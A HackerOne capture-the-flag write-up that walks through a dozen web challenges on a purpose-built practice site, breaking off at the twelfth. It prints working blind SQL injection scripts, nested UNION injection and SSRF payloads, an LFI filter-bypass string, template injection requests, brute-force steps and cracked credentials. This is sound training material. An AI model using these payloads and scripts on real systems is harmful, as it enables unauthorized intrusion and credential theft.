HexBrain

h1-ctf · Report #1067912

A Visit from The Grinch ~ 'Twas the night before Hackmas...

Validstatus
criticalseverity
9upvotes
11 Jan 2021disclosed

How it was found

Foreword

This was an amazing CTF! The first from Hackerone that I've finished and one that I have enjoyed the most. Huge shout out to @adamtlangley for creating this downright poetic challenge. My whopping 20+ invitations are already being put to good use. Hacky Holidays and Merry Hackmas!

Flag #1 - robots.txt

'Twas the night before Hackmas, when all through the net Not a feature was deployed, not even password reset The flag was placed in robots.txt with care In hopes that hackers might first look there

A classic! The first flag was nestled in robots.txt, the first place any good hacker or CTFer might look for clues.

{F1132033}

Flag #2 - s3cr3t-ar3a

The flag was nestled all snug in jQuery While hackers attempted all of their theories I put on my hoodie, my knuckles I cracked "I bet I could just right click inspect that"

Going off of Flag 1, the second flag had to be hidden in /s3cr3t-ar3a. The source of the page didn't reveal anything interesting. The only thing on the page that looked remotely interesting was the jQuery file hosted locally.

<script src="/assets/js/jquery.min.js"></script>

The version of jQuery used was jQuery v3.5.1 so I decided to run it through a diff checker online to see if any custom code had been added.

{F1132043}

Aha! There's a difference! the code clearly looks like it's being used to add a flag to an attribute of an element called alertbox which is likely on the /s3cr3t-ar3a page.

h1_0 = 'la', h1_1 = '}', h1_2 = '', h1_3 = 'f', h1_4 = 'g', h1_5 = '{b7ebcb75', h1_6 = '8454-', h1_7 = 'cfb9574459f7', h1_8 = '-9100-4f91-';
document.getElementById('alertbox').setAttribute('data-info', h1_2 + h1_3 + h1_0 + h1_4 + h1_2 + h1_5 + h1_8 + h1_6 + h1_7 + h1_1);
document.getElementById('alertbox').setAttribute('next-page', '/ap' + 'ps');

Rather than reverse engineer this obfuscated code, we can just inspect the alertbox element! Gotta love a flag hidden in plain sight.

{F1132048}

Flag #3 - People Rater

Then out in the /apps, there arose a new feature a people rater? Man, what could be neater? Away to Burp Suite, I flew like a flash Tore open the base64, and found Grinch's stash

The Grinch rears his ugly head and tells us how he really feels about the Whos down in Whoville! (spoiler: not great)

When a name is clicked, the site retrieves the associated rating with a base64 string:

https://hackyholidays.h1ctf.com/people-rater/entry?id=eyJpZCI6M30=

That id decoded is: {"id":3}

Looking for something interesting, I decided to try changing the id value to 1, re-encoding, and sending it back to the server - revealing the flag!

The Grinch's heart may be capable of growth but his ego will never shrink.

{F1132060}

Flag #4 - Swag Shop

The endpoints on the API of the shop full of swag Gave an idea I might not have otherwise had, When what to my wondering eyes did appear, But the Grinch's PII and address right here!

Clicking around the swag shop didn't bring up any obvious leads. However, there was an API directory with a few endpoints (stock purchase and login) which made me think there may be a few more.

I fired up a directory brute force using dirsearch.py and quickly identified two interesting API endpoints sessions and user

{F1132081}

The sessions endpoint was leaking some juicy data:

{"sessions":["eyJ1c2VyIjpudWxsLCJjb29raWUiOiJZelZtTlRKaVlUTmtPV0ZsWVRZMllqQTFaVFkxTkRCbE5tSTBZbVpqTW1ObVpHWXpNemcxTVdKa1pEY3lNelkwWlRGbFlqZG1ORFkzTkRrek56SXdNR05pWmpOaE1qUTNZMlJtWTJFMk4yRm1NemRqTTJJMFpXTmxaVFZrTTJWa056VTNNVFV3WWpka1l6a3lOV0k0WTJJM1pXWmlOamsyTjJOak9UazBNalU9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJaak0yTXpOak0ySmtaR1V5TXpWbU1tWTJaamN4TmpkbE5ETm1aalF3WlRsbVkyUmhOall4TldNNVkyWTFaalkyT0RVM05qa3hNVFEyTnprMFptSXhPV1poTjJaaFpqZzBZMkU1TnprMU5UUTJNek16WlRjME1XSmxNelZoWkRBME1EVXdZbVEzTkRsbVpURTRNbU5rTWpNeE16VTBNV1JsTVRKaE5XWXpPR1E9In0=","eyJ1c2VyIjoiQzdEQ0NFLTBFMERBQi1CMjAyMjYtRkM5MkVBLTFCOTA0MyIsImNvb2tpZSI6Ik5EVTBPREk1TW1ZM1pEWTJNalJpTVdFME1tWTNOR1F4TVdFME9ETXhNemcyTUdFMVlXUmhNVGMwWWpoa1lXRTNNelUxTWpaak5EZzVNRFEyWTJKaFlqWTNZVEZoWTJRM1lqQm1ZVGs0TjJRNVpXUTVNV1E1T1dGa05XRTJNakl5Wm1aak16WmpNRFEzT0RrNVptSTRaalpqT1dVME9HSmhNakl3Tm1Wa01UWT0ifQ==","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRFJtWVRCaE4yRmlOalk1TUdGbE9XRm1ZVEU0WmpFMk4ySmpabVl6WldKa09UUmxPR1l3TWpJMU9HSXlOak0xT0RVME5qYzJZVGRsWlRNNE16RmlNMkkxTVRVek16VmlNakZoWXpWa01UYzRPREUzT0dNNFkySmxPVGs0TWpKbE1ESTJZalF6WkRReE1HTm1OVGcxT0RReFpqQm1PREJtWldReFptRTFZbUU9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNMlEyTURJek5EZzVNV0UwTjJNM05ESm1OVEl5TkdNM05XVXhZV1EwTkRSbFpXSTNNVGc0TWpJM1pHUmtNVGxsWlRNMlpEa3hNR1ZsTldFd05tWmlaV0ZrWmpaaE9EZzRNRFkzT0RsbVpHUmhZVE0xWTJJeU1HVmhNakExTmpkaU5ERmpZekJoTVdRNE5EVTFNRGM0TkRFMVltSTVZVEpqT0RCa01qRm1OMlk9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNV1kzTVRBek1UQmpaR1k0WkdNd1lqSTNaamsyWm1Zek1XSmxNV0V5WlRnMVl6RTBNbVpsWmpNd1ltSmpabVE0WlRVMFkyWXhZelZtWlRNMU4yUTFPRFkyWWpGa1ptRmlObUk1WmpJMU0yTTJNRFZpTmpBMFpqRmpORFZrTlRRNE4yVTJPRGRpTlRKbE1tRmlNVEV4T0RBNE1qVTJNemt4WldOaE5qRmtObVU9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRE00WXpoaU4yUTNNbVkwWWpVMk0yRmtabUZsTkRNd01USTVNakV5T0RobE5HRmtNbUk1T1RjeU1EbGtOVEpoWlRjNFlqVXhaakl6TjJRNE5tUmpOamcyTm1VMU16VmxPV0V6T1RFNU5XWXlPVGN3Tm1KbFpESXlORGd5TVRBNVpEQTFPVGxpTVRZeU5EY3pOakZrWm1VME1UZ3hZV0V3TURVMVpXTmhOelE9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJPR0kzTjJFeE9HVmpOek0xWldWbU5UazJaak5rWmpJd00yWmpZemRqTVdOaE9EZzRORGhoT0RSbU5qSTBORFJqWlRkbFpUZzBaVFV3TnpabVpEZGtZVEpqTjJJeU9EWTVZamN4Wm1JNVpHUmlZVGd6WmpoaVpEVmlPV1pqTVRWbFpEZ3pNVEJrTnpObU9ESTBPVE01WkRNM1kySmpabVk0TnpFeU9HRTNOVE09In0="]}

Session #2 appeared different and piqued my interested. Here it is base64 decoded:

{
  "user": "C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
  "cookie": "NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YWRhMTc0YjhkYWE3MzU1MjZjNDg5MDQ2Y2JhYjY3YTFhY2Q3YjBmYTk4N2Q5ZWQ5MWQ5OWFkNWE2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY="
}

We now have a user ID of sorts (is this Adam's old Windows XP key?) and a cookie. I attempted a few session hijacking attacks using the user and cookie values to no avail. I then took another look at the user endpoint.

{"error":"Missing required fields"}

I wasn't sure what those required fields would be, so I started a Param Miner attack in burp to guess query parameters that might be used. The parameter uuid popped up and returned a slightly different error message:

{"error":"Could not find matching uuid"}

The value of "user" we found on the sessions endpoint looked a lot like a UUID... let's try passing it in here!

https://hackyholidays.h1ctf.com/swag-shop/api/user?uuid=C7DCCE-0E0DAB-B20226-FC92EA-1B9043

{
  "uuid": "C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
  "username": "grinch",
  "address": {
    "line_1": "The Grinch",
    "line_2": "The Cave",
    "line_3": "Mount Crumpit",
    "line_4": "Whoville"
  },
  "flag": "flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}"
}

Looks like we doxxed the Grinch 😎

Flag #5 - Secure Login

With a little old login and nothing to click, I knew in a moment we must brute force it. More rapid than eagles my Intruder's words came As I analyzed responses to deduce the username

This challenge looked pretty bare bones. Nothing interesting on the page, nothing found in a directory brute force. However, the error message received after a failed login suggested we could enumerate usernames! Instead of a generic error, the page tells us that our specific username is invalid. 'grinch' and 'admin' didn't work so it looked like brute forcing was the only option.

I started an intruder attack with a list of common names as payloads and extracted the error messages to see which user had a valid login. The username access popped up quickly - which avoided the need to continue sending off an additional 10k requests!

{F1132083} {F1132084}

Using a "top 100" password list, I set up the same attack to brute force the password and log in:

{F1132087}

So now I could log in with the credentials access/computer ... but there were no files to download :( However! The base64 session token after logging in appeared to contain a JSON object:

{"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":false}

Life's better as an admin, so I flipped false to true, re-encoded, and changed the value of the securelogin cookie. After refreshing the page a zip file containing "secure" files showed up.

{F1132092}

Given the brute-forcey nature of this challenge so far, it was time to guess the password! Kali Linux is preloaded with John the Ripper, a hash cracking tool. JTR is also bundled with a handy binary called zip2john which takes a password protected zip file and extracts the hash in a format usable by John the Ripper.

All that was left was to crack the hash with john hash.txt which revealed the password was hahahaha

Using the password to unzip the file gave the flag and xxx.png.... which is a lewd nude of a green dude

{F1132093}

Flag #6 - My Diary

No root! No admin! Only ere privileged hackers Exploiting code from developer slackers. Embed the payload to make off with a haul! Now str_replace! str_replace! str_replace all!

Judging by the URL: https://hackyholidays.h1ctf.com/my-diary/?template=entries.html

...this immediately looked like an LFI challenge. I quickly found that entries.html existed here: https://hackyholidays.h1ctf.com/my-diary/entries.html

I ran a quick fuzz using dirsearch and found that index.php existed in the same directory:

https://hackyholidays.h1ctf.com/my-diary/index.php

I then accessed index.php as a template - https://hackyholidays.h1ctf.com/my-diary/?template=index.php - which revealed the following source code:

<?php
if( isset($_GET["template"])  ){
    $page = $_GET["template"];
    //remove non allowed characters
    $page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
    //protect admin.php from being read
    $page = str_replace("admin.php","",$page);
    //I've changed the admin file to secretadmin.php for more security!
    $page = str_replace("secretadmin.php","",$page);
    //check file exists
    if( file_exists($page) ){
       echo file_get_contents($page);
    }else{
        //redirect to home
        header("Location: /my-diary/?template=entries.html");
        exit();
    }
}else{
    //redirect to home
    header("Location: /my-diary/?template=entries.html");
    exit();
}

We can see the fake admin page and the "secretadmin" pages here and the protections in place to avoid access to them.

Trying to access admin.php returns a 404, as expected since the page has moved.

Trying to access secretadmin.php states "You cannot view this page from your IP Address"

Looking deeper into the code, the str_replace function reminds me of a few XSS filters I've defeated in the past with the classic <scr<script>ipt>

Because the value of template is only looking for the values "admin.php" and "secretadmin.php" anywhere in the string and replacing them with empty text, a payload can be crafted to defeat the protection

secretadsecretadmiadmin.phpn.phpmin.php

On pass one, the new value of page is secretadsecretadmin.phpmin.php with admin.php removed

One pass two, the final value of page is secretadmin.php with secretadmin.php removed. This allows us to dump the contents of secretadmin.php and retrieve the flag:

{F1132099}

Uh oh... the Grinch is planning to DDoS Santa's Workshop?? I knew this guy was trouble but THIS??? Thankfully we've intercepted this intel in time to save Christmas!

Flag #7 - Hate Mail Generator

Whether Bob or Alice, the Grinch hates them both "Stinking, rotten, abominable!" he quoth Seething with ire, the Grinch routes his mail while hackers inject templates to prevail!

The Grinch loves sending the worst mail huh? (Jury duty, jury duty, jury duty, blackmail, pink slip, chain letter, eviction notice). Much like the Grinch loves injecting hate mail into our inboxes, we too must inject templates to... save Christmas!

The one sample piece of hate mail we have to work with shows us the format and the syntax {{template:file.html}}:

{F1132768}

It looks like files can be included as templates. In order to find the file location, I ran dirsearch.py to find hidden directories. This revealed the templates folder and an admin template file! Let's come back to that later, since direct navigation returns a 403 Forbidden error.

{F1132758}

When writing a new campaign you can either "Create" or "Preview" it.

{F1132769}

We can't create a campaign because we're "out of credits" but we can submit a preview. Here's what that request looks like:

POST /hate-mail-generator/new/preview HTTP/1.1
Host: hackyholidays.h1ctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
...

preview_markup=Hello+{{name}}+....&preview_data={"name":"Alice","email":"[email protected]"}

The preview syntax appears to be slightly different from the sample campaign. Let's try a few things and see if we can access 38dhs_admins_only_header.html

POST /hate-mail-generator/new/preview HTTP/1.1
Host: hackyholidays.h1ctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
...

preview_markup=Hello+{{name}}{{template:38dhs_admins_only_header.html}}+....&preview_data={"name":"Alice","email":"[email protected]"}

Response: You do not have access to the file 38dhs_admins_only_header.html dangit!

Taking another look at the preview_data parameter tells us that Alice replaces {{name}}. Let's try the same injection but abstracted by a step:

POST /hate-mail-generator/new/preview HTTP/1.1
Host: hackyholidays.h1ctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
...

preview_markup=Hello+{{name}}+....&preview_data={"name":"Alice{{template:38dhs_admins_only_header.html}}","email":"[email protected]"}

Response: {F1132770}

Looks like there's a new sheriff Grinch Network Admin in town.

Flag #8 - Forum

He was covered in green fur, from his head to his foot Hood up and hacking, Santa's DDoS was afoot! The Grinch's secret post laid bare the attack We've got to keep cracking and get him right back!

This flag was tricky! An inital brute force of the forum app revealed the phpmyadmin login endpoint

{F1132840}

No amount of fuzzing, bruteforcing, or otherwise hammering the app seemed to yield any results. That's when I decided to check twitter to see if I could get some direction.

https://twitter.com/JoeMilian1/status/1340297608699457536

Looks like the creator of this devious challenge was Adam! I quickly found a personal site, and a github account. I checked his latest commit which was on the following repo:

https://github.com/Grinch-Networks/forum

{F1132858}

Now we're getting somewhere! All the code related to this forum appeared fairly locked down. I didn't find anything that jumped out at as usable on my first pass. I later noticed that 4 commits had been made to this repo and decided to dig deeper into those to look for secrets.

https://github.com/Grinch-Networks/forum/commit/efb92ef3f561a957caad68fca2d6f8466c4d04ae

{F1132859}

In a commit called "Small fix" we can see that Adam removed a database connection credential which we can view in plain text! Trying this cred on the phpmyadmin endpoint gets us to the next step.

{F1132861}

grinch appears to be the admin user, so lets try cracking his password! A quick check on crackstation.net reveals that the password is BahHumbug. Now we can login to the form as grinch and read his secret plans!

{F1132870} {F1132871}

Uh oh, the Grinch is getting closer to launch his attack! We can't stop now! and I'm starting to think this "Adam" guy might be working with him...

Flag #9 - Evil Quiz

His eyes lurid yellow, like a black cat at night His smile a gnarled root, a downright good fright! His mind filled with evil, tricks, and malaise Made this SQLi challenge go on for days

The difficulty really began to ramp up with this challenge. I first thought there was going to be a blind XSS element with the name being reflected after the quiz. But I started to notice that different names had different number of players who also used the same name. Using "grinch" as a name told me

There is 14 other player(s) with the same name as you!

I started to imagine what SQL query might retrieve that information:

SELECT count(*) FROM sessions WHERE name = 'grinch';

I changed my name to grinch' AND 1=1;--, completed the quiz... and got the same response!

{F1133306}

I then changed my name to grinch' AND 1=2;--, completed the quiz, and was told that there were 0 other players with my name. Se we now had a blind SQLi attack and a 1 byte difference -- 14 vs 0 -- that we could use for our boolean checks.

Writing a script for this would be tricky because this is a second order SQL injection: we first have to set the payload, then trigger the payload with a second request. To add insult to injury, the response time on this challenge is abyssmal. Nevertheless, I developed a script to perform substring character brute forcing to ascetain the table, columns, and data needed to access the admin section.

import requests

url1 = 'https://hackyholidays.h1ctf.com/evil-quiz' #POST
url2 = 'https://hackyholidays.h1ctf.com/evil-quiz/score' #GET

#threshold = 1953 # create an dict with thresold values, if we have two values

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#$%^*()-_=+[{]}\|;:,/?"

s = requests.Session()
cookie_obj = requests.cookies.create_cookie(domain='hackyholidays.h1ctf.com',name='session',value='f0dd61e4a671f34f123e36e0b8f2727c')
s.cookies.set_cookie(cookie_obj)
pos = 1
threshold = 0
out = ''
while True:
	found = 0
	for c in alphabet:
		
		# blind sqli brute force 1: find a table
		# select table_name from information_schema.tables where table_schema=database() limit 1
		# discovered table named 'admin'
		
		# blind sqli brute force 2: find columns in admin table 
		# select column_name from information_schema.columns where table_name='admin'
		# discovered columns id, password, username in table 'admin'
		
		# blind sqli brute force 3: find username in admin table
		# select username from admin where id='1'
		# discovered username 'admin'
		
		# blind sqli brute force 4: find password in admin table
		# select password from admin where username='admin'
		# discovered password 'S3creT_p4ssw0rd-$'
		
		payload = "grinch' AND hex(substring((select password from admin where username='admin'),%s,1))=hex('%s');--" % (str(pos), c)
		
		params = {"name":payload}

		s.post(url1, data=params)
		r2 = s.get(url2) 
		if (threshold == 0):
			# response length will increase with payload length. remove the payload length from the response length to negate this
			#100 + 50
			#100 - 50 = 50
			#101 + 51
			#101 - 51 = 50
			threshold = len(r2.text) - len(payload)
		
		# a true response will return at least one more byte than a false response. break and continue to the next character if we get a hit. 
		if ((len(r2.text) - len(payload)) > threshold):
			out += c
			print out
			found = 1
			break
			
		# TODO: edge case where first letter in alphabet returns true response. This was done manually for finding 'admin' table

	if (found):
		pos += 1
		continue
	else:
		print out
		break

This script will select one letter at a time from the password for the username admin and perform a a boolean brute force check on each letter. The first character of the password isn't 'a' so the script continues until it gets to 'S'. The response is 1 byte larger meaning our SQL statement was true and the first character of the password is 'S'. That process is repeated until all characters are identified.

{F1133308}

The final username / password combo was admin / S3creT_p4ssw0rd-$ which gave access to the flag:

{F1133082}

I reran this script and it took almost an hour to complete! It took the better half of a day to finally bruteforce the password the first time around.

Flag #10 - Signup Manager

The zip of source code was easy to see but not the PHP trick that lie underneath. Surely there has to be some kind of quirk. Numeric type confusion just might work!

The flag was a cut and dry case of RTFM. By carefully reading the provided code and the PHP docs, the flag is easy to spot. Regardless, this was one of my favorite challenges because I learned soemthing new about PHP! Thanks..... grinch. hmph.

Before even attempting to sign up, I found an HTML comment in the source directing me to README.md which contained the following:

# SignUp Manager

SignUp manager is a simple and easy to use script which allows new users to signup and login to a private page. All users are stored in a file so need for a complicated database setup.

### How to Install

1) Create a directory that you wish SignUp Manager to be installed into

2) Move signupmanager.zip into the new directory and unzip it.

3) For security move users.txt into a directory that cannot be read from website visitors

4) Update index.php with the location of your users.txt file

5) Edit the user and admin php files to display your hidden content

6) You can make anyone an admin by changing the last character in the users.txt file to a Y

7) Default login is admin / password

I was able to download signupmanager.zip at the following URL: https://hackyholidays.h1ctf.com/signup-manager/signupmanager.zip

Unzipping the file reveals the source code for the site. The file index.php appears to have the code that creates an entry in users.txt which is referenced when logging in. Based on step 6 in the README, it looks like our objective is to create an entry in user.txt that ends in Y which will make the user an admin.

I had a difficult time imagining what the entries in user.txt would look like so I spun up the php code in a digital ocean droplet to see for myself!

http://159.65.226.16/hacky/

I made users.txt accessible for ease of testing: http://159.65.226.16/hacky/users.txt

{F1133117}

I tried spamming Y in the last name and maxing out the values for each aspect of the entry but was unable to extend the length beyond what was intended. Looking at the code again, I went through each validation function to see if any of them could be bypassed in some way.

        if ($_POST["action"] == 'signup' && isset($_POST["username"], $_POST["password"], $_POST["age"], $_POST["firstname"], $_POST["lastname"])) {
            $username = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["username"]), 0, 15);
            if (strlen($username) < 3) {
                $errors[] = 'Username must by at least 3 characters';
            } else {
                if (isset($all_users[$username])) {
                    $errors[] = 'Username already exists';
                }
            }
            $password = md5($_POST["password"]);
            $firstname = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["firstname"]), 0, 15);
            if (strlen($firstname) < 3) {
                $errors[] = 'First name must by at least 3 characters';
            }
            $lastname = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["lastname"]), 0, 15);
            if (strlen($lastname) < 3) {
                $errors[] = 'Last name must by at least 3 characters';
            }
            if (!is_numeric($_POST["age"])) {
                $errors[] = 'Age entered is invalid';
            }
            if (strlen($_POST["age"]) > 3) {
                $errors[] = 'Age entered is too long';
            }
            $age = intval($_POST["age"]);
            if (count($errors) === 0) {
                $cookie = addUser($username, $password, $age, $firstname, $lastname);
                setcookie('token', $cookie, time() + 3600);
                header("Location: " . explode("?", $_SERVER["REQUEST_URI"])[0]);
                exit();
            }
        }

username, firstname, and lastname are capped at 15 chars with the substr function. the password is md5 hashed which is always 32 chars. That left age which is checked to ensure it is numeric with is_numeric and then intval is used to get the final value.

is_numeric seemed ... flexible so I looked it up in the PHP docs.

{F1133118}

The entry 1337e0 stood out because it looked like a scientific notation and is considered numeric by PHP. Our PHP code specifically checks the length to ensure the number is less than 3 characters, but it could be replaced with something like 9e9 which is interprested by PHP as 9 * 10 ^ 9. This has an integer value of 9000000000 - waaay longer than 3 characters!

By capturing a signup request and modifying the age value to 9e9 and making the last name YYYYYYYYYYYYYYY the length of our age will push a Y into the last position of our entry in users.txt, making our new user an admin!

{F1133127} {F1133128}

Got the flag and access to the Recon Server! It's game time now...

Flag #11 - Grinch Recon

He was lean and mean, a right spooky old Who And I laughed when I saw a hint of what to do A wink of his eye and his evil twisted head Soon gave me to know I had everything to dread;

"We need to go deeper" I thought after a double SQLi and an SSRF. "There has to be a third SQL injection!"

This challenge was the work of a true menace. Adam is become death, the destroyer of Christmas.

Background

This recon server holds picture albums of reconnaissance photos related to Santa and his work shop. Albums are stored in a database and retrieved via a hash. Pictures within albums are retrieved securely using an authenticated server side request, precluding forgery.

Additionally, the recon server has an API which is not directly accessible. Tying everything together, you have to find way to authenticate arbitrary SSRF requests to the API in order to deduce the username and password in order to move to the next flag.

Step 1: SQL Injection #1 - hash

There was a fairly obvious SQL injection on the value of hash. I checked this manually with a simple boolean payload: ' AND 1=1;--

I loaded up SQLMap and dumped the database:

sqlmap -u https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k --dump

Database: recon                                                                                                                                                                       
Table: album
[3 entries]
+----+--------+-----------+
| id | hash   | name      |
+----+--------+-----------+
| 1  | 3dir42 | Xmas 2018 |
| 2  | 59grop | Xmas 2019 |
| 3  | jdh34k | Xmas 2020 |
+----+--------+-----------+
Database: recon                                                                                                                                                                       
Table: photo
[6 entries]
+----+----------+--------------------------------------+
| id | album_id | photo                                |
+----+----------+--------------------------------------+
| 1  | 1        | 0a382c6177b04386e1a45ceeaa812e4e.jpg |
| 2  | 1        | 1254314b8292b8f790862d63fa5dce8f.jpg |
| 3  | 2        | 32febb19572b12435a6a390c08e8d3da.jpg |
| 4  | 3        | db507bdb186d33a719eb045603020cec.jpg |
| 5  | 3        | 9b881af8b32ff07f6daada95ff70dc3a.jpg |
| 6  | 3        | 13d74554c30e1069714a5a9edda8c94d.jpg |
+----+----------+--------------------------------------+

Step 2: recon on r3c0n

That was nice and all... but I still couldn't couldn't figure out how I was going to authenticate to the API. Let's dig around and see how this whole thing is set up.

The /picture endpoints loaded in the albums look like this: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcL2RiNTA3YmRiMTg2ZDMzYTcxOWViMDQ1NjAzMDIwY2VjLmpwZyIsImF1dGgiOiJiYmYyOTVkNjg2YmQyYWYzNDZmY2Q4MGM1Mzk4ZGU5YSJ9

And the data parameter contains the following JSON object:

{
  "image": "r3c0n_server_4fdk59/uploads/db507bdb186d33a719eb045603020cec.jpg",
  "auth": "bbf295d686bd2af346fcd80c5398de9a"
}

Any attempts to modify the image URL and auth hash and resend the request resulted in invalid authentication hash. It seemed like it had to be generated the hash on the backend.

There's also an API hosted at https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/api

{F1133182}

Step 3: SQL Injection #2 - state of the union of the union

Around this time, I started to reach out to other CTFers on discord to brainstorm how to do this challenge. A small team formed and @mava contributed an amazing idea: *double SQL injection. *

I started to imagine what the underlying SQL query(s) looked like for the /album endpoint. There were two tables and the ID had to come from the hash in the first table.

Query #1

SELECT id FROM album WHERE hash = 'jdh34k '

Value from query #1 is sent to query #2

SELECT photo FROM photo where album_id = '1'

Looking at these two queries... it seemed possible that you could UNION something to the output of query #1 that would be injected into query #2.

I was able to craft the following initial SQLi payload that shows you can control the value sent to the second query with a UNION

If we can nestle a payload into the first union slot, we should be able to execute a SQLi inside a SQLi. I started with an ORDER BY to determine there were three columns, which makes sense based on the DB dump performed earlier.

https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=1%27%20UNION%20SELECT%20%221%27%20ORDER%20BY%203--+%22,%22456%22,%22789%22%20--+ 1' UNION SELECT "1' ORDER BY 3-- ","456","789" --

Now we can perform the second UNION:

https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=1%27%20UNION%20SELECT%20%22%27%20UNION%20SELECT%201,2,3%27--+%22,%22456%22,%22789%22--+ 1' UNION SELECT "' UNION SELECT 1,2,3'-- ","456","789"--

which produces this URL:

https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzMiLCJhdXRoIjoiZmVhNzUwNzQ3OGFhODIyNWMwMjI1MjdiMTc2M2ZiMzMifQ==

which (doesnt return an invalid hash error!! and) decodes to

{"image":"r3c0n_server_4fdk59\/uploads\/3","auth":"fea7507478aa8225c022527b1763fb33"}

NICE! we can now modify the 3 in our embedded payload to injected a path traversal SSRF payload to start analyzing the API!

https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=123%27%20UNION%20SELECT%20%22%27%20UNION%20SELECT%201,2,%27../api/x%27--+%22,%22456%22,%22789%22--+

Here's the full URL decoded SQL injection payload:

123' UNION SELECT "' UNION SELECT 1,2,'../api/x'-- ","456","789"-- 

Step 4: SSRF and API analysis

For this part, I got a little inefficient and used Burp's Intruder to fuzz for valid API endpoints. I ran an inital fuzz using a common.txt wordlist to collect base64 data parameters using the "Grep - Extract" intruder option.

{F1133257}

I then ran a second attack on the picture endpoint with the collected base64 values and analyzed the responses to determine which endpoints were valid.

{F1133267}

I ended up finding two endpoints that triggered an "Invalid content type detected" error: /api/ping and /api/user. This response indicates that the request was successful and returned a 200 response, but the content type was not an image. I'm confident that ping was a total red herring because I didn't find anything remotely useful with it.

Now is when the API documentation comes in handy.

{F1133315}

If an invalid parameter is passed to an API endpoint, a 400 response is returned. I ran the exact same attack already outlined above to determine valid parameters on the user endpoint. Valid parameters trigger a 204 response.

The valid parameters for the endpoint are username and password. The last piece of this puzzle was to figure out valid values for those parameters.

Step #5: SQL Injection #3 - We have to go deeper! ... again

Looking for interesting errors, I ran the attack outlined in step 3 a third time, but I used a list of ASCII metachars to look for errors or different responses. During that attack, I noticed that a % character in the username parameter triggered the Invalid content type error, meaning a 200 response.

https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=-4685%27%20UNION%20SELECT%20%22%27%20UNION%20SELECT%201,2,%27../api/user?username=%25%27--+%22,%22456%22,%22789%22--+

Thinking about it a little harder, it looks like we have a reflection context inside a SQL LIKE query! Here's what I imagine the query to look like:

SELECT * FROM user WHERE username LIKE '%' OR password LIKE ''

Using this functionality, we can do a substring brute force to discover the username and password values - similar to what we did for Flag #9.

I used the following script to extract the username and password:

import requests
from lxml import html

alphabet = "abcdefghijklmnopqrstuvwxyz0123456789~`!%@#$^*()-_=+[{]}\|;:,<.>/?"

host = "https://hackyholidays.h1ctf.com"
url = "https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=?hash=-4685%%27%%20UNION%%20SELECT%%20%%22%%27%%20UNION%%20SELECT%%20null,null,%%27../api/user?username=grinchadmin%%26password=%s%%25%%27--+%%22,null,null--+%%22"

#username = grinchadmin
#password = s4nt4sucks
out = ''
found = 0
while True:
	for c in alphabet:
		# _ (underscore) is another wildcard character in MySQL. I escaped a few other tricky characters just in case. 
		if c == '_':
			c = '\_'
		if c == '%':
			c = '\%'
		if c == '\\':
			c = '\\\\'

		# add found letters into the payload 
		tester = url % (out+c)
		# send the payload
		r = requests.get(tester)
		# parse html
		tree = html.fromstring(r.text)
		# get /picture?data=base64 URL
		url2 = tree.xpath('//img')[1].items()[1][1]
		# send second request
		r2 = requests.get(host+url2)

		# if response contains "Invalid", we have found a letter
		if "Invalid" in r2.text:
			out += c
			found = 1
			break
	print out
	if not found:
		print out
		break
	else:
		found = 0

Here's the output from that script:

{F1133373}

With the username/password combo of grinchadmin / s4nt4sucks I was able to log into the Attack Box and retrieve the flag!

{F1133376}

Flag #12 - Grinch Network Attack Server

He spoke not a word, but went straight to his hack, He had found the IPs and started the attack! Do or Die! We must now lend Santa our aid To take down Grinch Networks and save the day!

Thankfully, the hardest was not saved for last! While this flag was more straightforward, I definitely struggled finding the initiial foothold. I tried just about everything but using hashcat to crack a password acting as a salt!

Thanks to our ragtag #grincharmy team, we were able to find flag 12 and take down Grinch Networks to save Christmas.

Here's how we did it:

Summary:

The Attack Box is set up to target and launch DDoS attacks against three of Santa's IP's. These attacks can be launched by clicking "Attack" which triggers a request like the following:

https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==

This launches a spookily realistic attack on the targeted IP! (sorry Santa!)

the payload parameter decoded is

{"target":"203.0.113.33","hash":"5f2940d65ca4140cc18d0878bc398955"}

Argh! another hash! The last one in Flag 11 gave us headaches plenty. In order to stop the Grinch, we had to point the target at itself so the network would take itself down.

Feeling Salty

